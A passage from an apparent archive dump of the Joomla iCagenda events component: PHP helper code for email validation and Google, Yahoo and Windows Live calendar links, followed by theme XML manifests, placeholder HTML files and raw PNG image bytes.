					$app->redirect(htmlspecialchars_decode($urlList));
				}
			}
		}
		else
		{
			JError::raiseError('404', JTEXT::_('JERROR_LAYOUT_PAGE_NOT_FOUND'));

			return false;
		}
	}


	/**
	 * ESSENTIAL FUNCTIONS
	 */

	// Function to convert font color, depending on category color
	function fontColor($i)
	{
		$color = isset($i->cat_color) ? $i->cat_color : '';

		$hex_R	= substr($color, 1, 2);
		$hex_G	= substr($color, 3, 2);
		$hex_B	= substr($color, 5, 2);
		$RGBhex	= hexdec($hex_R) . ',' . hexdec($hex_G) . ',' . hexdec($hex_B);

		$RGB	= explode(',', $RGBhex);
		$RGBa	= $RGB[0];
		$RGBb	= $RGB[1];
		$RGBc	= $RGB[2];

		$somme	= ($RGBa + $RGBb + $RGBc);

		if ($somme > '600')
		{
			$fcolor = 'fontColor';
		}
		else
		{
			$fcolor = '';
		}

		return $fcolor;
	}

	private function validEmail($email)
	{
		$isValid	= true;
		$atIndex	= strrpos($email, "@");

		if (is_bool($atIndex) && !$atIndex)
		{
			$isValid = false;
		}
		else
		{
			$domain		= substr($email, $atIndex+1);
			$local		= substr($email, 0, $atIndex);
			$localLen	= strlen($local);
			$domainLen	= strlen($domain);

			if ($localLen < 1 || $localLen > 64)
			{
				// local part length exceeded
				$isValid = false;
			}
			elseif ($domainLen < 1 || $domainLen > 255)
			{
				// domain part length exceeded
				$isValid = false;
			}
			elseif ($local[0] == '.' || $local[$localLen-1] == '.')
			{
				// local part starts or ends with '.'
				$isValid = false;
			}
			elseif (preg_match('/\\.\\./', $local))
			{
				// local part has two consecutive dots
				$isValid = false;
			}
			elseif (!preg_match('/^[A-Za-z0-9\\-\\.]+$/', $domain))
			{
				// character not valid in domain part
				$isValid = false;
			}
			elseif (preg_match('/\\.\\./', $domain))
			{
				// domain part has two consecutive dots
				$isValid = false;
			}
			elseif (!preg_match('/^(\\\\.|[A-Za-z0-9!#%&`_=\\/$\'*+?^{}|~.-])+$/', str_replace("\\\\","",$local)))
			{
				// character not valid in local part unless
				// local part is quoted
				if (!preg_match('/^"(\\\\"|[^"])+"$/', str_replace("\\\\","",$local)))
				{
					$isValid = false;
				}
			}

			// Check the domain name
			if ($isValid
				&& !$this->is_valid_domain_name($domain))
			{
				return false;
			}

			// Uncomment below to have PHP run a proper DNS check (risky on shared hosts!)
			/**
			if ($isValid && !(checkdnsrr($domain,"MX") || checkdnsrr($domain,"A"))) {
				// domain not found in DNS
				$isValid = false;
			}
			/**/
		}

		return $isValid;
	}


	// Check if a domain is valid
	function is_valid_domain_name($domain_name)
	{
		$pieces = explode(".", $domain_name);

		foreach ($pieces as $piece)
		{
			if (!preg_match('/^[a-z\d][a-z\d-]{0,62}$/i', $piece)
				|| preg_match('/-$/', $piece))
			{
				return false;
			}
		}

		return true;
	}


	// Url to add to Google Calendar
	protected function gcalendarUrl ($i)
	{
		$text			= $i->title.' ('.$i->cat_title.')';
		$details		= $i->desc;
		$venue			= $i->place_name;
		$s_dates		= $i->dates;
//		$single_dates	= unserialize($s_dates);
		$single_dates	= iCString::isSerialized($i->dates) ? unserialize($i->dates) : array(); // returns array
		$website		= $this->Event_Link($i);

		$location	= $venue ? $venue.' - '.$i->address : $i->address;

		$get_date	= '';
		$href		= '#';

		if (JRequest::getVar('date'))
		{
			// if 'All Dates' set
			$get_date = JRequest::getVar('date');
		}
		else
		{
			// if 'Only Next/Last Date' set
			$get_date = date('Y-m-d-H-i', strtotime($i->next));
		}

		$ex			= explode('-', $get_date);
		$this_date	= $ex['0'] . '-' . $ex['1'] . '-' . $ex['2'] . ' ' . $ex['3'] . ':' . $ex['4'];

		$startdate	= date('Y-m-d-H-i', strtotime($i->startdate));
		$enddate	= date('Y-m-d-H-i', strtotime($i->enddate));

		if ($this->eventHasPeriod($i)
			&& ($get_date >= $startdate)
			&& ($get_date <= $enddate)
			&& (!in_array($this_date, $single_dates))
			)
		{
			$weekdays	= ($i->weekdays || $i->weekdays == '0') ? true : false;

			if ($weekdays)
			{
				$startdate	= date('Y-m-d-H-i', strtotime($this_date));
				$enddate	= date('Y-m-d', strtotime($this_date)) . '-' . date('H-i', strtotime($i->enddate));
			}

			$ex_S	 = explode('-', $startdate);
			$ex_E	 = explode('-', $enddate);

			$dateday = $ex_S['0'] . $ex_S['1'] . $ex_S['2'] . 'T' . $ex_S['3'] . $ex_S['4'];
			$dateday.= '00/' . $ex_E['0'] . $ex_E['1'] . $ex_E['2'] . 'T' . $ex_E['3'] . $ex_E['4'] . '00';
		}
		else
		{
			$dateday = $ex['0'] . $ex['1'] . $ex['2'] . 'T' . $ex['3'] . $ex['4'];
			$dateday.= '00/' . $ex['0'] . $ex['1'] . $ex['2'] . 'T' . $ex['3'] . $ex['4'] . '00';
		}

		// Get the site name
		$sitename = JFactory::getApplication()->getCfg('sitename');

		$href = 'http://www.google.com/calendar/event?action=TEMPLATE';

		$mbString			= extension_loaded('mbstring');
		$text				= $mbString ? mb_substr($text, 0, 100, 'UTF-8') : substr($text, 0, 100);
		$len				= strrpos($text, ' ');  // interruption on a space
		$text				= substr($text, 0, $len);

		$href.= '&text=' . urlencode($text) . '...';
		$href.= '&dates=' . $dateday;
		$href.= '&location=' . urlencode($location);
		$href.= '&trp=true';

		$limit_reduc		= '37'; // 37 chars (&trp=true&details=&sf=true&output=xml)
		$limit_notlogged	= '785';
		$lenpart			= strlen($href);
		$lenlast			= 2068 - $lenpart - $limit_reduc - $limit_notlogged; // max link length minus (title+location)
		$details			= urlencode(strip_tags($details));
		$details			= substr($details, 0 , $lenlast);
		$len				= strrpos($details, '+');
		$details			= substr($details, 0 , $len);

		$href.= '&details=' . substr($details, 0, $lenlast) . '...';

		return $href;
	}


	// Url to add to Yahoo Calendar
	protected function yahoocalendarUrl ($i)
	{
		$text			= $i->title.' ('.$i->cat_title.')';
		$details		= $i->desc;
		$venue			= $i->place_name;
		$s_dates		= $i->dates;
//		$single_dates	= unserialize($s_dates);
		$single_dates	= iCString::isSerialized($i->dates) ? unserialize($i->dates) : array(); // returns array
		$website		= $this->Event_Link($i);

		$location	= $venue ? $venue.' - '.$i->address : $i->address;
		$get_date	= '';
		$href		= '#';
		$endday		= '';

		if (JRequest::getVar('date'))
		{
			// if 'All Dates' set
			$get_date = JRequest::getVar('date');
		}
		else
		{
			// if 'Only Next/Last Date' set
			$get_date = date('Y-m-d-H-i', strtotime($i->next));
		}

		$ex			= explode('-', $get_date);
		$this_date	= $ex['0'] . '-' . $ex['1'] . '-' . $ex['2'] . ' ' . $ex['3'] . ':' . $ex['4'];

		$startdate	= date('Y-m-d-H-i', strtotime($i->startdate));
		$enddate	= date('Y-m-d-H-i', strtotime($i->enddate));

		if ($this->eventHasPeriod($i)
			&& $get_date >= $startdate
			&& $get_date <= $enddate
			&& ! in_array($this_date, $single_dates)
			)
		{
			$weekdays	= ($i->weekdays || $i->weekdays == '0') ? true : false;

			if ($weekdays)
			{
				$startdate	= date('Y-m-d-H-i', strtotime($this_date));
				$enddate	= date('Y-m-d', strtotime($this_date)) . '-' . date('H-i', strtotime($i->enddate));
			}

			$ex_S		= explode('-', $startdate);
			$ex_E		= explode('-', $enddate);

			$dateday	= $ex_S['0'] . $ex_S['1'] . $ex_S['2'] . 'T' . $ex_S['3'] . $ex_S['4'] . '00';

//			$diff = strtotime($i->enddate) - strtotime($i->startdate);
//			$M = (floor($diff /60)) % 60;
//			$M = sprintf("%02d", $M);
//			$H = (floor($diff / 3600));

//			$duration	= ($H <= 24) ? $H . $M : '';
			$endday		= $ex_E['0'] . $ex_E['1'] . $ex_E['2'] . 'T' . $ex_E['3'] . $ex_E['4'] . '00';
		}
		else
		{
			$dateday	= $ex['0'] . $ex['1'] . $ex['2'] . 'T' . $ex['3'] . $ex['4'] . '00';
//			$duration	= '';
		}

		// Shortens the description, if more than 1000 characters
		$lengthMax			= '1000';
		$details			= urlencode(strip_tags($details));
		$details			= substr($details, 0, $lengthMax);
		$shortenedDetails	= strrpos($details, '+');
		$details			= substr($details, 0, $shortenedDetails);

		$href = "http://calendar.yahoo.com/?v=60";
		$href.= "&VIEW=d";
		$href.= "&in_loc=" . urlencode($location);
//		$href.= "&type=20";
		$href.= "&TITLE=" . urlencode($text);
		$href.= "&ST=" . $dateday;
		$href.= "&ET=" . $endday;
//		$href.= "&DUR=";
//		$href.= $duration ? "&DUR=" . $duration : '';
		$href.= "&DESC=" . substr($details, 0, $lengthMax) . '...';
		$href.= "&URL=" . urlencode($website);

		return $href;
	}

	// Url to add to Windows Live (Hotmail) Calendar
	protected function wlivecalendarUrl ($i)
	{
		$text			= $i->title.' ('.$i->cat_title.')';
		$details		= $i->desc;
		$venue			= $i->place_name;
		$s_dates		= $i->dates;
//		$single_dates	= unserialize($s_dates);
		$single_dates	= iCString::isSerialized($i->dates) ? unserialize($i->dates) : array(); // returns array
		$website		= $this->Event_Link($i);

		$location	= $venue ? $venue . ' - ' . $i->address : $i->address;
		$get_date	= '';
		$href		= '#';
		$endday		= '';

		if (JRequest::getVar('date'))
		{
			// if 'All Dates' set
			$get_date = JRequest::getVar('date');
		}
		else
		{
			// if 'Only Next/Last Date' set
			$get_date = date('Y-m-d-H-i', strtotime($i->next));
		}

		$ex			= explode('-', $get_date);
		$this_date	= $ex['0'] . '-' . $ex['1'] . '-' . $ex['2'] . ' ' . $ex['3'] . ':' . $ex['4'];

		$startdate	= date('Y-m-d-H-i', strtotime($i->startdate));
		$enddate	= date('Y-m-d-H-i', strtotime($i->enddate));

		if ( $this->eventHasPeriod($i)
			&& $get_date >= $startdate
			&& $get_date <= $enddate
			&& !in_array($this_date, $single_dates)
			)
		{
			$weekdays	= ($i->weekdays || $i->weekdays == '0') ? true : false;

			if ($weekdays)
			{
				$startdate	= date('Y-m-d-H-i', strtotime($this_date));
				$enddate	= date('Y-m-d', strtotime($this_date)) . '-' . date('H-i', strtotime($i->enddate));
			}

			$ex_S		= explode('-', $startdate);
			$ex_E		= explode('-', $enddate);

			$dateday	= $ex_S['0'] . $ex_S['1'] . $ex_S['2'] . 'T' . $ex_S['3'] . $ex_S['4'] . '00';
			$endday		= $ex_E['0'] . $ex_E['1'] . $ex_E['2'] . 'T' . $ex_E['3'] . $ex_E['4'] . '00';

		}
		else
		{
			$dateday	= $ex['0'] . $ex['1'] . $ex['2'] . 'T' . $ex['3'] . $ex['4'] . '00';
		}

		$href = "http://calendar.live.com/calendar/calendar.aspx?rru=addevent";
		$href.= "&dtstart=" . $dateday;
		$href.= isset($endday) ? "&dtend=" . $endday : '';
		$href.= "&summary=" . urlencode($text);
		$href.= "&location=" . urlencode($location);

		// Shortens the description, if more than 1000 characters
		$lengthMax			= '1000';
		$details			= urlencode(strip_tags($details));
		$details			= substr($details, 0, $lengthMax);
		$shortenedDetails	= strrpos($details, '+');
		$details			= substr($details, 0, $shortenedDetails);

		$href.= "&description=" . substr($details, 0, $lengthMax) . '...';

		return $href;
	}
}
com_icagenda/helpers/index.html000060400000000032152453734450012577 0ustar00<html><body></body></html>com_icagenda/themes/default.xml000060400000001420152453734450012575 0ustar00<?xml version="1.0" encoding="UTF-8" ?>
<install method="icthemes" type="component" version="2.5.0">

	<name>Default - iCagenda Theme</name>
	<creationDate>2015-09-01</creationDate>
	<version>3.5.10</version>
	<author>Lyr!C</author>
	<authorEmail>info@joomlic.com</authorEmail>
	<authorWebsite>www.Jooml!C.com</authorWebsite>
	<authorUrl>http://www.joomlic.com</authorUrl>
	<copyright>Copyright (c)2012-2015 Jooml!C. All Rights Reserved</copyright>
	<license>GNU/GPLv3 or later</license>
	<description>Theme pack by default for iCagenda (component + module)</description>

	<administration>
	</administration>
	<files folder="site">
		<folder>default</folder>
		<filename>default.xml</filename>
	</files>

	<themeUpdate>http://www.joomlic.com/icupdate/themes</themeUpdate>
</install>
com_icagenda/themes/ic_rounded.xml000060400000001431152453734450013266 0ustar00<?xml version="1.0" encoding="UTF-8" ?>
<install method="icthemes" type="component" version="2.5.0">

	<name>iC rounded - iCagenda Theme</name>
	<creationDate>2015-09-01</creationDate>
	<version>3.5.10</version>
	<author>Lyr!C</author>
	<authorEmail>info@joomlic.com</authorEmail>
	<authorWebsite>www.Jooml!C.com</authorWebsite>
	<authorUrl>http://www.joomlic.com</authorUrl>
	<copyright>Copyright (c)2012-2015 Jooml!C. All Rights Reserved</copyright>
	<license>GNU/GPLv3 or later</license>
	<description>Theme pack iC rounded for iCagenda (component + module)</description>

	<administration>
	</administration>
	<files folder="site">
		<folder>ic_rounded</folder>
		<filename>ic_rounded.xml</filename>
	</files>

	<themeUpdate>http://www.joomlic.com/icupdate/themes</themeUpdate>
</install>
com_icagenda/themes/index.html000060400000000054152453734450012426 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/themes/packs/default/images/default_thumbnail.png000060400000016207152453734450020627 0ustar00�PNG


IHDR�ྃPLTE���������>������������DA���.Y���
'Q���������������4`2^��������������������L�������1\����K~���N�
-W���
)T���
+UI| F���
=���	&O���%N$L!H#K"IO����4e�Iz{�H~Gx������T�6cDu9gL�GxY�R�7e���W����TTT3h�����X����������]�r�������U���������=l�	��'_�L���������i�
^�
L�JR������Ar��������A���������QRUNNNwxyaaaIII���XXX��
i�a�#Y�S�Ez��ӳ��ZZZv���㒓�������c�;�����.k���ڕ��l�#i����N��Cy�p�&n����������������@�>4�2��Ѫ��d��,9YI����lln����،�ƽ菮��~������ؾ7^!M�����t�����56o����rrs��K�hI+�%����������ح��bp�.HlVs�2Ry��&��������ڎ����w.?a�����������u��8u������`Q�N��2_�Ke���$��/q�COl'@e\�Y����כ��>y������h�n�~]��#Mz���>]�-0�̾�ns�
�����T[r3W*J�۳�c~+A+9P&RmHqdk�XE_!C��K��BIDATx��߫�p�'�}��)���"W*��d�b�[ hO�p�R�-�c���S$�.
�z���06au)B}(�?z(�D绕P�Kקa�����9~?�mK�$��������'��Vy�/��Z`Y֖iD��q$���	����&S�{�(o����@��8b�`�q~��E��@��*��M�x�l\�U�ZM�K���͐>�����"�eȃ��7�go��BL�o��âX,�W�{�v+S`��T�K�^�y�j�I�&H�ov���&�	(_���MK���L�x*��)w5�Rѻ�}E�%]��(��j�]]�RWJE��3�xլI�t��GK��bQQ,>�UDMT��u2�MQ�Ru_��v�P-���&A�Ā;��:_.�n�abє��QG�@L�Ѡh��h
1U�f��ֳ���*��eP�x�D�y�lo�B
(t���M#b�B1/}��N�&unF��R�'��t�2�de��@�<	�À����g	~+!O@̵���L��y*g���g�j�\���a���Yb��W����|�O��7�lj{�`:����/�ujs��8�|Ňs���?��`X��	���i�T�s1 �+�16�3�6�����b«��
��{r��^�\�cP8T��C�/��b.�7ëBH�����`l�v��7�ͨ�K��Y{���.n{r���A�����o�}�1~`��G��ĕ0�<FО0 f�JbB�_��ؕ[}.���9�|������@�I&�a���� �f����C�?��G������qF�9j�<=�wb���vR�M��p~2�,\���v��N��iHB����}Ogj�����d(}���r��%<����l�Є���ׯ|�=�=Q�_:?��ҝwu��#b�Ű��{.v��|nl���� �Cy�9�H�Oj��m0�x8���`�0\q��A֮���e��z^=
��� #���2Z��\�낔@7�ب�+��.����A-�
ƞ�"�Uݎ��y�[><�C�qym6����p���Fi���m(9��`zF�'h���r��F+@�Η��dt"9]3
�7<g��Nƣ���6crM%<g��(J����5�(o=����Yy^ў�dDQ����8N�"�n*�H3�>��d�7گ.L4
0%�!�wj��;�v�	w�~0	���R9hŢA��=��%b-��L�.�a�H�&���l��&�+
��FS�L���U'Va3�$�%�K`&.�A��n���V�wn3<�|˽�{�HF��5��j'"
H�G���u=I�0��ܝ��d��s��<|�F����L}j��ٽ'q{y�AW_S�>8b( �����gKU���"���_3�7E1U& �z�a3�	��cX��>�����������9L��_ss`DA@^XD� �OmDx5bzU�L�zr�T�[-y<�naf���=|���A�=1��2��mg|���R�Λf���L��T���U�%3=�Ӎk���a0�v5C�lõ5Ms�
V�Z;Åm�'|J�ɢc�B������nVӈ�0�ﲨ�,����0�ā����Y��l+H���u!(�ͽ��7ઙ�rYd	y�y�G���|@�����s2Yhd�h��i�2��)<�yE����o�:�����U�,i�3�o�y��m���6���d�_X�!��<9̆�/Y��JP��^4��8���:U�c�:�R�!��<
9Ln�ar&�<4����Z�U�]���@Ju��A>��c%�ϵn�"�7����bK�9�)r��{*�p)�	�옔���|����=��htȎa9����?�0BG�f�%On5�>ʁS�KH͆:�Y��$=h-�����0���N4��0�9��ma~�*�
�u{�d�*(� Q��6|�%R�vt�g4bW�g	K�*D��äN�X���dz<;J'��s��ڷE�6�N����=m{�;%/�~��`�O]uF�&�;�#Pu�J�j�.��'���w�6ڣz��W�n k�ta�k��gEm(���d`p��fJ��S��"u�"-�nZ��7�˺��q��,��B���snn����R��br�99��!Av&�cb�#Bn i e%QM5�.]Y��H��4��A��~n�wwl���ִ7I$!���C�D���m;Sy!#F���!Lr�FT|��VBF:d$2��並�&q�!�#|��t\\Q-��H6g�{�u�j�e�A�YQ4^铦'ƭ2c��#��P�/	6�t��v�)��Г��Y��H\[�B�ȐW��JP���6pZ&ƅ���Q��z(0�Y�o�b�y0�
�V����A��}���J�L�
4�;�:;HmP�U����1�mbV���*ei��q�õ���L�@���s�@�Qĉ�lb��!!�Q���I��9b�������~�@�d��H�|�)ad�.Bn�B*ex��B�����P�a�]���+���׭�rՓ��#�]�4(7�
��H�
����;����sLղ�Ab.
b\sc���+�b�A5�J��/��X2"8!y�݁�9��dE�C��z͚5�^e&��`�������INs<�ku��.1-q�z�UQ�+kz�Q��BYe����[���_��������u��; ��xo�[�Թ�ֹ�b�#�����-�Q�Gh@> ���MF��u4jŽb�8�#Ʃk�sz,bN�<��,�ɉq�:�ܨ�������ٍ��b��IJ�=��%�t��eb�������^>:����\3vq
��aN8B�.6iAN�R�e�8Hp�P��`EoT0		�b\�r�eh�.M
��
�n�pD_Lr�p-�-4�?}���~|�� �Qf󐘋zb�`4VF�� �}�Nj���b�܊�bf�!\���Yw���1$&�P�ҚA|[���=�խ ��R��5��z����stǓ��=r�zTףא��������Ǯޫw���1����ð�t�
+�Ȑ���'�L��O�g5����S�ƹ���j͞�H2K`���P"G19Cqmw��dx0���:9��fUڧ(�)�Gj)�2P%q�y�qŤ��6I��
[�Ò9j)"s/�6M�*�P����@&jɚb�t�W	�(�\��r�,�U|U��s�Z,��@�?"�t:��jb1����H�:]�İ,W�,�VL�r]s�qm�i�`A��Z'�+X�J��Z
��9�舢��$I<h��#J�`�zs1���~us�\{�>���!F�"˒ܡ�#��ML[Q�����6|n��Vb�0��ȶ�f���sP� Q�[2�
��Ĝ�����2ZJ�#Nz��Ԍ��	DQX�Se�M�S�%�<M�pT:�;iu>c1�����Zb��O�F:,����\Mų/��e(�"9ҳ�i9ϓ�=,ż:�ZK�Ͱ��)�;�{8O�����"�
���qB���w�z�6���0�bq�I.Sƙ%+)�Tv�&]�X $CQD\*�a8�(m���ۭq���)�[{C
Y��8���Y��@?�b�L�;�T�x+&'��y��dj��x���,	��T��`{�b�r/�0w��,�a��,|*԰��%o���Y�{�얮;�Z`��%1$��3l]�`1��"Z��C��ʲO��YUf�������.$�(��|�S!%�.��R9�n4�1,����#�h�|B���>f-��6
��NJ��� {�spI�	I�✔(I��W�Р )Tͪ
$��E�R�z�=T�=Z�Z*��C{*��{�1�Դ�f�Y����7�J~�{��3wwꝒ���oF�V�Q��� k!4�r�G��I��Lp����w:�S���1&�:c~ٔ#�H0��\�3:��)y�l�:%H�
��5f�6Wc��7��i�oy��9�m��i��q��A�Ì�A�p�Ma���D>W1�C�$<��A�T����E���]���]�dVz|�5O������������ۺ���9���r ���sQ,�4SȠH�bN%'f�I��l��ZI��o��؟| 2F�3�S�bF;"��S�����` 
9���$�C�Sc�]1bjg0a>%�8��f�_�K�����6k�'bڰ���h�c8ڞ����Aa�y����˃�16���l��b|�k��&$݌JL$z���E�bP��!:F<
�]F;a���T�i��mB��`l���V�eS���q��MjV�pΛ�C����ˡ�Ԑ�.j1(��6ϕ1(�p�cvr}�I����$�XY��W�&���A���o�����H��������ř�Ԏ���T3U=���Çb�!b �g��!��8�y�R,t�_X�@�T�۾S2����1twV�''��eJ>g�wFW���DCVB��2�)ݏ�P�\�f<M�V��\�����$cXĩ�`c���[�)E��aAe�Qgccv��"�W�H�
bN�ĜF�������8�E�:c:����ш2]k����ˢ���(b0g�ڂ��H\��I�P2�P��&925f�ޕ@��v���Ԃ���Z�?���^�ʴ�74�6$�tC/Ė�"�<v��l�
3��'4���F��de}[�6�;��5�Dc1���:,&9����ϧ���R�Ԙ@܉��?_/�1���Y4���P�Y׎���6��<b�1�G���a1	"&�H1�n,�������pV
��k�}'�]1;o߾=�'cDL:��#Ju�t��X��P2s>J,řY�,�����Ү���y���<1��Q�]��;=
�w�ZP"��Kh�S�(�-"Ѯ.�`#io��kw(���xy���Y�	Y�x*���Lצ*�k)U&���>c��u��N
�qy���q0@���3sv�
!m�p�h�_���Cb��p������ZDkYL��;���0����N�brRbM�
z�drb�z����@���	o���n	X��+ߞ��� �h�Gt!��
�1��¼NbjNEwI#9�D��ɍÚd��(H�V2]{�I�ļ��H�G�3s��y�!|�����/<x��s�c�sV�������5��AR��\w�
��_#�2O��ҭ���D̋���Ϟ�G�.fo��L�
����h��i`�,�����#�h�1��8�L
ujp�<�o��w�*?D�WPf�b,H���D��܁�q����*tX��T�!+U~�5x�U �0�P�4��'rbV�_�1���d�e:�{"����Y^��	�����<��]����S�5f���e�B%����
��'/��l.�,
n-��3�V��1�d��`���}(�R	
�"&=�L/,$���,.�nΤS��by�\16���p��"Fb�ft%�;�L��O���L.�fR��C���=T!b\,�!�|��"B���%��B2��X����������e��V9'm"��( 45����btD�8���Of`G�����1f�|"Fbt�`)���dw"�H��iV�<��B�,F�bH��͔TL�ַI튱YYV���91��~(��I�ҪŹl�&S��nQg�K�k�|2=��ը�jJ�f�C��"F�� �t(����d"�Q1��7�4�DBn(��6c�L]��F����+���|�6�(F��yq1��B�r�z��`1��gb���i��g����)\1,�x�S�k	O��X�G65<"[�98x�fʊ�/�n|B��^�yA�^�3^��r ���>7Ҩfd�:m�O5���Zx�\01`d�ѱg@#�A?��w@��q8VG�#�s�+�e�<�!:�h��>NL��ى}��^�2OÖy�����‰q4��M̽QĨ�̇�nn��̅��:~��1���2޸����i3��2�����ff�L\81���cס��m����
}6.����w��+�t��.�������DEL�������3{������7�;1�;�Xɘ�Y�����1��;1�X�]]��QO�+pW���X��>��P����j]Z�2_1�h�}1��LK��s��S��~|R|M���Cs����WS�q1�=���B������������^�[�b�CrC=B`t}rh�i�����ӥo^Lfviy	��"�1�T��"�1E��)BEL*b�PS��(F8�oԷAq1���rP:����3�?�\)}�E�9�j-�����Z��ъ�IEND�B`�com_icagenda/themes/packs/default/images/minuslist.png000060400000000242152453734450017157 0ustar00�PNG


IHDR��y!PLTE������������������333�����ɳ������#��tRNS�Y��/IDAT�cXd������ �����H�b0h`(�0&0�+��&!o+A�IEND�B`�com_icagenda/themes/packs/default/images/regis-baloon.png000060400000000364152453734450017516 0ustar00�PNG


IHDR$~��#	pHYs�� cHRMz%������u0�`:�o�_�FzIDATx��ֱ� ���!܁%X޷;8���R$�RHi�<�2��^����K��$
3�ֺ�{'"x��}W��t@�A;��e�LPk-&5 ��03""U�'*ӵ8����q��������s��*IEND�B`�com_icagenda/themes/packs/default/images/plus.png000060400000001214152453734450016113 0ustar00�PNG


IHDRVΎW	pHYs��9iCCPPhotoshop ICC profilexڭ��J�P��EšV��p'QPl��I[� X�C��IC��$�ܪ}G�.�>��������!Hp�o����p��bם�Q�A�U��H����3L@'�R��:��8�'>_ϛv�i�7��Ti`lw�,Q�:� ƀ�S
�0�I��(�rJA�o@I���0{��1�A�+���K
PKґ:�jY�,K��$���(�� ��q��4Qu��?��vӑkU��[�q=_�~���c��Cu�݅��\�/��-LO�l�
n6`��V�Pނ��³O�	�' cHRMz%������RX:�o�Z��IDATx��1
�0@_��� �K��PDP�$��dp'Ai/���z	���H-
M��o	�'y����k��?n�K\C�,��tQ)E�"-[��M)%B�w�Zk��
,t%Rʏ�QY����=�C�R�8�IӔ�(�Zβ�@��F'˲$�2k����u׮�eZv�}�>B�4�`ߔ�"Ҳ��a�8U�?������y�V92'��iIEND�B`�com_icagenda/themes/packs/default/images/index.html000060400000000054152453734450016420 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/themes/packs/default/images/info.png000060400000006532152453734450016073 0ustar00�PNG


IHDR�a	pHYs��~�
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx�\��KAƿ���q/p6..ANl�\�W���)$1�6iS�S�����
i��H{&\#�*��������Kq�z������}�{#"t:! �Dnj1��,�Z�sa���s���-%I�5����a&�R�3���9�Ƙ�EQ<7�|��]�$T��건�$�,��[�D��s�<���,�~�Z-AD�"�R�T�1c8�888���!�0ƀ1!�V����fι) ��-��:�1*�h4�R
P� ����¦s��k!wΡRE...������:�9�D�v+[��z�eY��nc{{{B��Wj�kZ렚RJ����RJ<�9��A
������PM��־g�9)������8�@D(���EQ|3�LƘ�,�&�
k-�8FEh6�X^^�������s����$�K��1+++H��~kkk��
�ã�p8$"0"���������0���Z0���y�L&V)�A)u��9���TAU��n��1.G�Ѥ,KW����`p��v7=�;會1������t~~�D�^�������a�,�suu���z����޶�f6�@��=�^u&`�0�.�`�nt�IEND�B`�com_icagenda/themes/packs/default/images/selector-arrow.png000060400000001211152453734450020075 0ustar00�PNG


IHDR
$RH��	pHYs��9iCCPPhotoshop ICC profilexڭ��J�P��EšV��p'QPl��I[� X�C��IC��$�ܪ}G�.�>��������!Hp�o����p��bם�Q�A�U��H����3L@'�R��:��8�'>_ϛv�i�7��Ti`lw�,Q�:� ƀ�S
�0�I��(�rJA�o@I���0{��1�A�+���K
PKґ:�jY�,K��$���(�� ��q��4Qu��?��vӑkU��[�q=_�~���c��Cu�݅��\�/��-LO�l�
n6`��V�Pނ��³O�	�' cHRMz%������RX:�o�Z��IDATx��Ա
�0�D$о@��	JA\�G�
NW�
